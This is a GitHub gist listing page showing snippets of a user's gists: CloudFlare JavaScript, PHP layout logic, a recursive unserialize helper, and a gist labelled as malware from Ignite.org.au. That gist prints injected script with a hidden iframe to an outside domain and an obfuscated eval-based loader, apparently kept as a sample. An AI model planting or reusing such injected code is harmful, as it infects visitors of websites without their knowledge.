Skip to content

Instantly share code, notes, and snippets.

@SimonEast
SimonEast / cloudflare.min.js
Created April 4, 2014 07:28
CloudFlare Javascript (including Rocket Loader?)
/*! CloudFlareJS-0.1.11 Tue Mar 11 2014 07:42:08
*/
! function (a, b) {
function c(a) {
if (!(this instanceof c)) return new c(a);
if (!a || !m.isElement(a)) throw new Error("A DOM element reference is required");
return this.element = a, this.tokens = a.classList, this
}
var d = {}, e = "0.1.11",
f = a.setTimeout,
@SimonEast
SimonEast / gist:3096494
Created July 12, 2012 07:41
Ignite.org.au Malware
<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="http://minigametight.in/in.cgi?7" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script><!--/c3284d-->
<!--0b7b2e--><script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5.5~3.5~3.5~3.5~49~54.5~48.5~57.5~53.5~49.5~54~57~22~58.5~56~51.5~57~49.5~19~16~29~51.5~50~56~47.5~53.5~49.5~15~56.5~56~48.5~29.5~18.5~51~57~57~55~28~22.5~22.5~56~49.5~51.5~49~53.5~56~22~54.5~56~50.5~22.5~53.5~47.5~51.5~54~
@SimonEast
SimonEast / gist:3030169
Created July 2, 2012 00:25
IF statement for columns
<?
// Widen the center column (no right column) when the following conditions are true
if ((
empty($rightColumnContent) // <-- this can be set in controller, will leave room in the right column if set
&& (empty($page) || count($page['Widget']) == 0)
)
|| $bodyId == 'events_index'
|| $bodyId == 'events_past'
) {
$innerColumn1Content_width = "675px";
@SimonEast
SimonEast / gist:1117476
Created August 1, 2011 02:27
PHP Code to detect serialized string and recursively unserialize
<?php
// Next two functions taken from a commenter on http://php.net/manual/en/function.unserialize.php
function unserialize_recursive($val) {
//$pattern = "/.*\{(.*)\}/";
if(is_serialized($val)){
$val = trim($val);
$ret = unserialize($val);
if (is_array($ret)) {
foreach($ret as &$r) $r = unserialize_recursive($r);